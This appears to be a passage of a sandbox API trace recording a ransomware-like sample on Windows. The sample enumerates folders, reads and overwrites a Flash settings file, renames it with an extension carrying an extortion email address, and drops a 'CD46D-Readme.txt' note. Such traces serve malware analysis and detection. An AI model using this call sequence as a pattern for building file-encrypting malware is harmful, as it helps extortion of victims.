(lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0160.437] GetLastError () returned 0x5 [0160.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF", dwFileAttributes=0x20) returned 0 [0160.437] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x944340) returned 1 Thread: id = 4140 os_tid = 0x1538 [0157.254] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe4) returned 0xd4bbf08 [0157.255] wcscpy (in: _Dest=0xd4bbf08, _Source="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64" [0157.255] wcscat (in: _Dest=0xd4bbf08, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\" [0157.255] wcscat (in: _Dest=0xd4bbf08, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*" [0157.255] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x920308 [0157.255] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x920308 | out: lpFindFileData=0x920308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa93425b0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa93425b0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9428b0 [0157.255] wcscmp (_String1=".", _String2=".") returned 0 [0157.255] FindNextFileW (in: hFindFile=0x9428b0, lpFindFileData=0x920308 | out: lpFindFileData=0x920308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa93425b0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa93425b0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.255] wcscmp (_String1="..", _String2=".") returned 1 [0157.255] wcscmp (_String1="..", _String2="..") returned 0 [0157.255] FindNextFileW (in: hFindFile=0x9428b0, lpFindFileData=0x920308 | out: lpFindFileData=0x920308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3c0e500, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xd3c0e500, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xd3c0e500, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x165257, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0157.255] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0157.255] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0157.255] FindNextFileW (in: hFindFile=0x9428b0, lpFindFileData=0x920308 | out: lpFindFileData=0x920308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7a0c00, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfd7a0c00, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfd7a0c00, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0157.255] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2=".") returned 1 [0157.255] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2="..") returned 1 [0157.255] FindNextFileW (in: hFindFile=0x9428b0, lpFindFileData=0x920308 | out: lpFindFileData=0x920308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7a0c00, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfd7a0c00, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfd7a0c00, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0157.255] FindClose (in: hFindFile=0x9428b0 | out: hFindFile=0x9428b0) returned 1 [0157.256] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x920308) returned 1 [0157.256] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4bbf08) returned 1 [0157.256] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904860) returned 1 Thread: id = 4141 os_tid = 0x153c [0157.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omssms.cfg")) returned 0x20 [0157.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG", dwFileAttributes=0x20) returned 0 [0157.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omssms.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0157.257] GetLastError () returned 0x5 [0157.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG", dwFileAttributes=0x20) returned 0 [0157.257] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e75f8) returned 1 Thread: id = 4163 os_tid = 0x1594 [0157.621] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9c) returned 0x934528 [0157.621] wcscpy (in: _Dest=0x934528, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache" [0157.621] wcscat (in: _Dest=0x934528, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\" [0157.621] wcscat (in: _Dest=0x934528, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*" [0157.621] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x908380 [0157.621] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*", lpFindFileData=0x908380 | out: lpFindFileData=0x908380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9dd0 [0157.937] wcscmp (_String1=".", _String2=".") returned 0 [0157.937] FindNextFileW (in: hFindFile=0x8d9dd0, lpFindFileData=0x908380 | out: lpFindFileData=0x908380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.937] wcscmp (_String1="..", _String2=".") returned 1 [0157.937] wcscmp (_String1="..", _String2="..") returned 0 [0157.937] FindNextFileW (in: hFindFile=0x8d9dd0, lpFindFileData=0x908380 | out: lpFindFileData=0x908380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d40bff0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="D5NTRC6R", cAlternateFileName="")) returned 1 [0157.937] wcscmp (_String1="D5NTRC6R", _String2=".") returned 1 [0157.937] wcscmp (_String1="D5NTRC6R", _String2="..") returned 1 [0157.937] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xaa) returned 0x8f4888 [0157.937] wcscpy (in: _Dest=0x8f4888, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache" [0157.937] wcscat (in: _Dest=0x8f4888, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\" [0157.937] wcscat (in: _Dest=0x8f4888, _Source="D5NTRC6R" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R" [0159.285] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f4888, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1838 [0159.286] FindNextFileW (in: hFindFile=0x8d9dd0, lpFindFileData=0x908380 | out: lpFindFileData=0x908380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d40bff0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="D5NTRC6R", cAlternateFileName="")) returned 0 [0159.286] FindClose (in: hFindFile=0x8d9dd0 | out: hFindFile=0x8d9dd0) returned 1 [0159.286] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x908380) returned 1 [0159.286] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934528) returned 1 [0159.286] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aec48) returned 1 Thread: id = 4164 os_tid = 0x1598 [0157.624] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol")) returned 0x2020 [0157.937] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", dwFileAttributes=0x20) returned 1 [0162.061] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd80 [0162.062] GetFileSizeEx (in: hFile=0xd80, lpFileSize=0x464f9bc | out: lpFileSize=0x464f9bc*=470) returned 1 [0162.062] SetFilePointerEx (in: hFile=0xd80, liDistanceToMove=0x1d2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.062] ReadFile (in: hFile=0xd80, lpBuffer=0x464f940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x464f93c, lpOverlapped=0x0 | out: lpBuffer=0x464f940*, lpNumberOfBytesRead=0x464f93c*=0x4, lpOverlapped=0x0) returned 1 [0162.063] SetFilePointerEx (in: hFile=0xd80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.063] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e428 [0162.063] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e018 [0162.063] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e450 [0162.063] NtQuerySystemTime (in: CurrentTime=0x464f91c | out: CurrentTime=0x464f91c*=132174899366542000) returned 0x0 [0162.063] RtlRandomEx (in: Seed=0x464f928 | out: Seed=0x464f928) returned 0x502fa184 [0162.063] RtlRandomEx (in: Seed=0x464f928 | out: Seed=0x464f928) returned 0xd2a4042 [0162.063] RtlRandomEx (in: Seed=0x464f928 | out: Seed=0x464f928) returned 0x4d56c76d [0162.063] RtlRandomEx (in: Seed=0x464f928 | out: Seed=0x464f928) returned 0xd8eb281 [0162.063] RtlRandomEx (in: Seed=0x464f928 | out: Seed=0x464f928) returned 0x6fc0e50a [0162.063] RtlRandomEx (in: Seed=0x464f928 | out: Seed=0x464f928) returned 0x55839994 [0162.063] RtlRandomEx (in: Seed=0x464f928 | out: Seed=0x464f928) returned 0x2cc75828 [0162.063] RtlRandomEx (in: Seed=0x464f928 | out: Seed=0x464f928) returned 0x26dbf5b7 [0162.063] RtlRandomEx (in: Seed=0x464f928 | out: Seed=0x464f928) returned 0x6bf625f8 [0162.063] RtlRandomEx (in: Seed=0x464f928 | out: Seed=0x464f928) returned 0x42da8a9a [0162.063] RtlRandomEx (in: Seed=0x464f928 | out: Seed=0x464f928) returned 0x3c1816e4 [0162.063] RtlRandomEx (in: Seed=0x464f928 | out: Seed=0x464f928) returned 0x6df95019 [0162.063] RtlRandomEx (in: Seed=0x464f928 | out: Seed=0x464f928) returned 0x19aae47c [0162.063] RtlRandomEx (in: Seed=0x464f928 | out: Seed=0x464f928) returned 0x41ddca09 [0162.063] RtlRandomEx (in: Seed=0x464f928 | out: Seed=0x464f928) returned 0x6ea68343 [0162.063] RtlRandomEx (in: Seed=0x464f928 | out: Seed=0x464f928) returned 0x705a0fbc [0162.063] RtlRandomEx (in: Seed=0x464f928 | out: Seed=0x464f928) returned 0x6785e652 [0162.063] RtlRandomEx (in: Seed=0x464f928 | out: Seed=0x464f928) returned 0x32e41a52 [0162.063] RtlRandomEx (in: Seed=0x464f928 | out: Seed=0x464f928) returned 0x803817c [0162.063] RtlRandomEx (in: Seed=0x464f928 | out: Seed=0x464f928) returned 0x34c3f0a [0162.063] RtlRandomEx (in: Seed=0x464f928 | out: Seed=0x464f928) returned 0x470fa1c6 [0162.063] RtlRandomEx (in: Seed=0x464f928 | out: Seed=0x464f928) returned 0x417599da [0162.063] RtlRandomEx (in: Seed=0x464f928 | out: Seed=0x464f928) returned 0x2053869e [0162.063] RtlRandomEx (in: Seed=0x464f928 | out: Seed=0x464f928) returned 0x4b46fd1 [0162.063] RtlRandomEx (in: Seed=0x464f928 | out: Seed=0x464f928) returned 0x21fc26e1 [0162.063] RtlRandomEx (in: Seed=0x464f928 | out: Seed=0x464f928) returned 0x1b756b0b [0162.063] RtlRandomEx (in: Seed=0x464f928 | out: Seed=0x464f928) returned 0x375d23dd [0162.064] RtlRandomEx (in: Seed=0x464f928 | out: Seed=0x464f928) returned 0x5fce95cb [0162.064] RtlRandomEx (in: Seed=0x464f928 | out: Seed=0x464f928) returned 0x6911723 [0162.064] RtlRandomEx (in: Seed=0x464f928 | out: Seed=0x464f928) returned 0x6dd96054 [0162.064] RtlRandomEx (in: Seed=0x464f928 | out: Seed=0x464f928) returned 0x712dfd72 [0162.064] RtlRandomEx (in: Seed=0x464f928 | out: Seed=0x464f928) returned 0x40e6be15 [0162.076] ReadFile (in: hFile=0xd80, lpBuffer=0xd4f8870, nNumberOfBytesToRead=0x1d6, lpNumberOfBytesRead=0x464f918, lpOverlapped=0x0 | out: lpBuffer=0xd4f8870*, lpNumberOfBytesRead=0x464f918*=0x1d6, lpOverlapped=0x0) returned 1 [0162.076] SetFilePointerEx (in: hFile=0xd80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.076] WriteFile (in: hFile=0xd80, lpBuffer=0xd505078*, nNumberOfBytesToWrite=0x1d6, lpNumberOfBytesWritten=0x464f914, lpOverlapped=0x0 | out: lpBuffer=0xd505078*, lpNumberOfBytesWritten=0x464f914*=0x1d6, lpOverlapped=0x0) returned 1 [0163.350] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e090 [0163.350] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93dfa0 [0163.350] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93dfa0) returned 1 [0163.350] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd505078) returned 1 [0163.350] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4f8870) returned 1 [0163.350] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93cbc0) returned 1 [0163.350] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2d28) returned 1 [0163.350] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x25) returned 0x8d87a8 [0163.350] SetFilePointerEx (in: hFile=0xd80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.350] WriteFile (in: hFile=0xd80, lpBuffer=0x8fe840*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x464f97c, lpOverlapped=0x0 | out: lpBuffer=0x8fe840*, lpNumberOfBytesWritten=0x464f97c*=0x109, lpOverlapped=0x0) returned 1 [0163.709] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fe840) returned 1 [0163.709] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8898) returned 1 [0163.709] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93dfa0) returned 1 [0163.709] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d87a8) returned 1 [0163.709] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e090) returned 1 [0163.709] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e018) returned 1 [0163.709] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93dfc8) returned 1 [0163.709] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e248) returned 1 [0163.709] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x13c) returned 0x8f3ea0 [0163.709] wcscpy (in: _Dest=0x8f3ea0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol" [0163.709] wcscat (in: _Dest=0x8f3ea0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol.mailto[2Hamlampampom@cock.li].cd46d" [0163.709] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x464f934, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.709] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x152) returned 0x8f6488 [0163.721] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6488) returned 1 [0163.721] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9278b8) returned 1 [0163.721] NtQueryInformationFile (in: FileHandle=0xd80, IoStatusBlock=0x464f940, FileInformation=0x464f918, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x464f940, FileInformation=0x464f918) returned 0x0 [0163.721] NtSetInformationFile (FileHandle=0xd80, IoStatusBlock=0x464f940, FileInformation=0x464f918, Length=0x28, FileInformationClass=0x4) returned 0x0 [0163.726] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f3ea0) returned 1 [0163.726] FlushFileBuffers (hFile=0xd80) returned 1 [0163.727] CloseHandle (hObject=0xd80) returned 1 [0163.728] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xfe) returned 0xd4ca4a0 [0163.728] wcscpy (in: _Dest=0xd4ca4a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\" [0163.728] wcscat (in: _Dest=0xd4ca4a0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\CD46D-Readme.txt" [0163.728] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\cd46d-readme.txt")) returned 0xffffffff [0163.728] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xd80 [0163.729] WriteFile (in: hFile=0xd80, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x464f93c, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x464f93c*=0x6fd, lpOverlapped=0x0) returned 1 [0163.730] CloseHandle (hObject=0xd80) returned 1 [0163.730] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4ca4a0) returned 1 [0163.730] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 Thread: id = 4165 os_tid = 0x159c [0157.625] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst")) returned 0x2020 [0157.625] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst", dwFileAttributes=0x20) returned 1 [0164.086] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xadc [0164.086] GetFileSizeEx (in: hFile=0xadc, lpFileSize=0x716fe74 | out: lpFileSize=0x716fe74*=53188) returned 1 [0164.086] SetFilePointerEx (in: hFile=0xadc, liDistanceToMove=0xcfc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.086] ReadFile (in: hFile=0xadc, lpBuffer=0x716fdf8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x716fdf4, lpOverlapped=0x0 | out: lpBuffer=0x716fdf8*, lpNumberOfBytesRead=0x716fdf4*=0x4, lpOverlapped=0x0) returned 1 